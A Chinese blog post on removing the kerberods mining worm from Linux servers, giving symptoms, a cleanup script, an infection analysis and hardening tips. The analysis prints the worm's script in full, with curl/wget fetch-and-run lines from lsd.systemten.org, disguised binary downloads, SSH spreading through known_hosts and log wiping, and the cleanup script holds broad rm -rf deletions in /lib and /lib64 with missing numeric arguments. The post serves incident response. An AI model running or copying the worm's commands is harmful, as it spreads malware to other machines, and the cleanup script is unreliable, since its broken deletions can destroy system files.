概要:

一、症状及表现

二、查杀方法

三、病毒分析

四、安全防护

五、参考文章


一、症状及表现

1、CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发现CPU被大量占用;

*注:ls top ps等命令已经被病毒的动态链接库劫持,无法正常使用,大家需要下载busybox,具体的安装和下载步骤参见参考文章(https://blog.csdn.net/u010457406/article/details/89328869)。

2、crontab 定时任务异常,存在以下内容;

3、后期病毒变异,劫持sshd,导致远程登陆失败,偶尔还会跳出定时任务失败,收到新邮件等问题;

4、 存在异常文件、异常进程以及异常开机项


二、查杀方法

1、断网,停止定时任务服务;

2、查杀病毒主程序,以及保护病毒的其他进程;

3、恢复被劫持的动态链接库和开机服务;

4、重启服务器和服务;

附查杀脚本(根据情况修改)

(脚本参考(https://blog.csdn.net/u010457406/article/details/89328869))

 #!/bin/bash
#可以重复执行几次,防止互相拉起导致删除失败 function installBusyBox(){
#参考第一段
busybox|grep BusyBox |grep v
} function banHosts(){
#删除免密认证,防止继续通过ssh进行扩散,后续需自行恢复,可不执行
busybox echo "" > /root/.ssh/authorized_keys
busybox echo "" > /root/.ssh/id_rsa
busybox echo "" > /root/.ssh/id_rsa.pub
busybox echo "" > /root/.ssh/known_hosts
#busybox echo "" > /root/.ssh/auth
#iptables -I INPUT -p tcp --dport -j DROP
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org" >> /etc/hosts
} function fixCron(){
#修复crontab
busybox chattr -i /etc/cron.d/root >/dev/null
busybox rm -f /etc/cron.d/root
busybox chattr -i /var/spool/cron/root >/dev/null
busybox rm -f /var/spool/cron/root
busybox chattr -i /var/spool/cron/tomcat >/dev/null
busybox rm -f /var/spool/cron/tomcat
busybox chattr -i /var/spool/cron/crontabs/root >/dev/null
busybox rm -f /var/spool/cron/crontabs/root
busybox rm -rf /var/spool/cron/tmp.*
busybox rm -rf /var/spool/cron/crontabs
busybox touch /var/spool/cron/root
busybox chattr +i /var/spool/cron/root
} function killProcess(){
#修复异常进程
#busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill - >/dev/null
#busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill - >/dev/null
#busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill - >/dev/null
#busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill - >/dev/null
#busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill - >/dev/null
busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill - >/dev/null
busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill - >/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/kauditds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill - >/dev/null
busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill - >/dev/null
busybox rm -f /tmp/khugepageds
busybox rm -f /tmp/migrationds
busybox rm -f /tmp/sshd
busybox rm -f /tmp/kauditds
busybox rm -f /tmp/migrationds
busybox rm -f /usr/sbin/sshd
busybox rm -f /usr/sbin/kerberods
busybox rm -f /usr/sbin/kthrotlds
busybox rm -f /usr/sbin/kintegrityds
busybox rm -f /usr/sbin/kpsmouseds
busybox find /tmp -mtime - -type f | busybox xargs busybox rm -rf
} function clearLib(){
#修复动态库
busybox chattr -i /etc/ld.so.preload
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcryptod.so
busybox rm -f /usr/local/lib/libcset.so
busybox chattr -i /etc/ld.so.preload >/dev/null
busybox chattr -i /usr/local/lib/libcryptod.so >/dev/null
busybox chattr -i /usr/local/lib/libcset.so >/dev/null
busybox find /usr/local/lib/ -mtime - -type f| busybox xargs rm -rf
busybox find /lib/ -mtime - -type f| busybox xargs rm -rf
busybox find /lib64/ -mtime - -type f| busybox xargs rm -rf
busybox rm -f /etc/ld.so.cache
busybox rm -f /etc/ld.so.preload
busybox rm -f /usr/local/lib/libcryptod.so
busybox rm -f /usr/local/lib/libcset.so
busybox rm -rf /usr/local/lib/libdevmapped.so
busybox rm -rf /usr/local/lib/libpamcd.so
busybox rm -rf /usr/local/lib/libdevmapped.so
busybox touch /etc/ld.so.preload
busybox chattr +i /etc/ld.so.preload
ldconfig
} function clearInit(){
#修复异常开机项
#chkconfig netdns off >/dev/null
#chkconfig –del netdns >/dev/null
#systemctl disable netdns >/dev/null
busybox rm -f /etc/rc.d/init.d/kerberods
busybox rm -f /etc/init.d/netdns
busybox rm -f /etc/rc.d/init.d/kthrotlds
busybox rm -f /etc/rc.d/init.d/kpsmouseds
busybox rm -f /etc/rc.d/init.d/kintegrityds
busybox rm -f /etc/rc3.d/S99netdns
#chkconfig watchdogs off >/dev/null
#chkconfig --del watchdogs >/dev/null
#chkconfig --del kworker >/dev/null
#chkconfig --del netdns >/dev/null
} function recoverOk(){
service crond start
busybox sleep
busybox chattr -i /var/spool/cron/root
# 将杀毒进程加入到定时任务中,多次杀毒
echo "*/10 * * * * /root/kerberods_kill.sh" | crontab -
# 恢复被劫持的sshd 服务
#busybox cp ~/sshd_new /usr/sbin/sshd
#service sshd restart
echo "OK,BETTER REBOOT YOUR DEVICE"
} #先停止crontab服务
echo "1| stop crondtab service!"
service crond stop
#防止病毒继续扩散
echo "2| banHosts!"
banHosts
#清除lib劫持
echo "3| clearLib!"
clearLib
#修复crontab
echo "4| fixCron!"
fixCron
#清理病毒进程
echo "5| killProcess!"
killProcess
#删除异常开机项
echo "6| clearInit! "
clearInit
#重启服务和系统
echo "7| recover!"
recoverOk

查杀完成以后重启服务器,发现过段时间,登陆主机,无论本地还是ssh远程登陆,依然会有病毒进程被拉起,观察top里面的进程,并用pstree 回溯进程之间的关系,发现每次用户登陆就会有病毒进程被拉起,怀疑登陆时加载文件存在问题,逐个排查下列文件:

  • /etc/profile,
  • ~/.profile,
  • ~/.bash_login,
  • ~/.bash_profile,
  • ~/.bashrc,
  • /etc/bashrc;

最后终于发现/etc/bashrc 文件被加入了一些似曾相识的语句

删除并且再次查杀病毒(重复之前查杀步骤),重启服务器,观察一段时间后不再有病毒程序被拉起,至此病毒被查杀完全。


三、病毒分析

1、感染路径

  • 攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。
  • 第一台感染的机器会读取known_hosts文件,遍历ssh登录,如果是做了免密登录认证,则将直接进行横向传播。

2、病毒主要模块

  • 主恶意程序:kerberods
  • 恶意Hook库:libcryptod.so libcryptod.c
  • 挖矿程序:khugepageds
  • 恶意脚本文件:netdns (用作kerberods的启停等管理)
  • 恶意程序:sshd (劫持sshd服务,每次登陆均可拉起病毒进程)

3、执行顺序

  ① 执行恶意脚本下载命令

② 主进程操作

1> 添加至开机启动,以及/etc/bashrc 
2> 生成了sshd文件 劫持sshd服务
3> 将netdns文件设置为开机启动
4> 编译libcryptod.c为/usr/local/lib/libcryptod.so
5> 预加载动态链接库,恶意hook关键系统操作函数
6> 修改/etc/cron.d/root文件,增加定时任务
7> 拉起khugepageds挖矿进程

附病毒恶意进程代码

 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

 mkdir -p /tmp
chmod /tmp echo "* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh" | crontab - ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "axgtbc"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "axgtfa"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill - cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
chattr -i sshd
rm -rf sshd
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl --connect-timeout --max-time --retry -fsSL img.sobot.com/chatres//msg//35c4e7c12f6e4f7f801acc86af945d9f.png -o sshd||wget --timeout= --tries= -q img.sobot.com/chatres//msg//35c4e7c12f6e4f7f801acc86af945d9f.png -O sshd||curl --connect-timeout --max-time --retry -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -o sshd||wget --timeout= --tries= -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -O sshd||curl --connect-timeout --max-time --retry -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload//7.150351516641309.jpg -o sshd||wget --timeout= --tries= -q cdn.xiaoduoai.com/cvd/dist/fileUpload//7.150351516641309.jpg -O sshd) && chmod +x sshd
else
(curl --connect-timeout --max-time --retry -fsSL img.sobot.com/chatres//msg//5fb4627f8ee14557a34697baf8843dfe.png -o sshd||wget --timeout= --tries= -q img.sobot.com/chatres//msg//5fb4627f8ee14557a34697baf8843dfe.png -O sshd||curl --connect-timeout --max-time --retry -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -o sshd||wget --timeout= --tries= -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -O sshd||curl --connect-timeout --max-time --retry -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload//1.8800013111270863.jpg -o sshd||wget --timeout= --tries= -q cdn.xiaoduoai.com/cvd/dist/fileUpload//1.8800013111270863.jpg -O sshd) && chmod +x sshd
fi
$(pwd)/sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || ./sshd || /tmp/sshd || /usr/local/sbin/sshd
fi if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout= -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi for file in /home/*
do
if test -d $file
then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
fi
fi
done echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

四、安全防护

    1. SSH
      ① 谨慎做免密登录
      ② 尽量不使用默认的22端口
      ③ 增强root密码强度
    2. Redis
      ① 增加授权认证(requirepass参数)
      ② 尽量使用docker版本(docker pull redis)
      ③ 隐藏重要的命令

五、参考文章

Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)的更多相关文章

  1. zigw 和 nanoWatch, libudev.so 和 XMR 挖矿程序查杀记录

    最近这两天以来,服务器一致声音很响.本来以为有同事在运行大的程序,结果后来发现持续很长时间都是这样,并没有停的样子.后来查了一下,发现有几个可疑进程导致,干掉之后,果然服务器静悄悄了. 但是,问题并没 ...

  2. Linux服务器后门自动化查杀教程

    一.说明 如果出现文件上传漏洞和命令执行类漏洞(包括命令注入.缓冲区溢出.反序列化等)都会让人担心,系统是否系统已被上传webshell甚至植入木马程序.如果依靠人工排查,一是工作量大二是需要一定程度 ...

  3. 病毒木马查杀实战第025篇:JS下载者脚本木马的分析与防御

    前言 这次我与大家分享的是我所总结的关于JS下载者脚本木马的分析与防御技术.之所以要选择这样的一个题目,是因为在日常的病毒分析工作中,每天都会遇到这类病毒样本,少则几个,多则几十个(当然了,更多的样本 ...

  4. 记一次Linux服务器因redis漏洞的挖矿病毒入侵

    中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!! ...

  5. linux 服务器被植入ddgs、qW3xT.2挖矿病毒处理记录

    被入侵后的现象: 发现有qW3xT.2与ddgs两个异常进程,消耗了较高的cpu,kill掉后 过一会就会重新出现. kill 掉这两个异常进程后,过一段时间看到了如下进程: 首先在/etc/sysc ...

  6. Linux服务器病毒清理实践

    背景:客户服务器被挂载木马病毒用以挖矿(比特币). 本次清理通过Linux基本命令完成.其原理也比较简单,通过ps命令查看服务器异常进程,然后通过lsof命令定位进程访问的文件,找到异常文件删除之,最 ...

  7. Linux应急响应(三):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染 ...

  8. clamav完整查杀linux病毒实战(转)

    开篇前言 Linux服务器一直给我们的印象是安全.稳定.可靠,性能卓越.由于一来Linux本身的安全机制,Linux上的病毒.木马较少,二则由于宣称Linux是最安全的操作系统,导致很多人对Linux ...

  9. clamav完整查杀linux病毒实战(摘抄)

    http://dadloveu.blog.51cto.com/blog/715500/1882521 Linux服务器一直给我们的印象是安全.稳定.可靠,性能卓越.由于一来Linux本身的安全机制,L ...

随机推荐

  1. 洛谷P1282 多米诺骨牌【线性dp】

    题目:https://www.luogu.org/problemnew/show/P1282 题意: 给定n个牌,每个牌有一个上点数和下点数.可以通过旋转改变交换上下点数. 问使得上点数之和和下点数之 ...

  2. BZOJ 2013 : [Ceoi2010]A huge tower / Luogu SP6950 CTOI10D3 - A HUGE TOWER

    传送门 菜鸡.jpg CODE #include <bits/stdc++.h> using namespace std; const int MAXN = 620005; int n, ...

  3. Codeforces工具总结

    本总结针对Linux用户,由于笔者一直使用Ubuntu系统打Codeforces 打Codeforcecs,想精确能力,打出究极罚时,可以考虑以下套餐 套餐一 vim选手 使用vim + fish + ...

  4. Luogu P2516 [HAOI2010]最长公共子序列 DP

    首先$LIS$显然:$f[i][j]=max(f[i][j-1],f[i-1][j],(a[i]==b[j])*f[i-1][j-1])$ 考虑如何转移数量: 首先,不管$a[i]$是否等于$b[j] ...

  5. trigger(type,[data]) 在每一个匹配的元素上触发某类事件。

    trigger(type,[data]) 概述 在每一个匹配的元素上触发某类事件.大理石平台价格表 这个函数也会导致浏览器同名的默认行为的执行.比如,如果用trigger()触发一个'submit', ...

  6. [Cogs] 线型网络

    题面 http://cogs.pro:8080/cogs/problem/problem.php?pid=6 题解 https://www.zybuluo.com/wsndy-xx/note/1135 ...

  7. XGBoost的优点

    1. Gradient boosting(GB) Gradient boosting的思想是迭代生多个(M个)弱的模型,然后将每个弱模型的预测结果相加,后面的模型Fm+1(x)基于前面学习模型的Fm( ...

  8. windows 安装python2.7

    下载:https://www.python.org/downloads/release/python-2716/ 安装即可. 设置环境变量 进入C:\Python27,修改python.exe 为py ...

  9. Java图片裁剪

    public static void main(String[] args) throws IOException { String path = "C:/Users/yang/Deskto ...

  10. JAVA基础知识|HTTP协议-发展历程

    HTTP 是基于 TCP/IP 协议的应用层协议.它不涉及数据包(packet)传输,主要规定了客户端和服务器之间的通信格式,默认使用80端口. 此文章为转载内容:http://www.ruanyif ...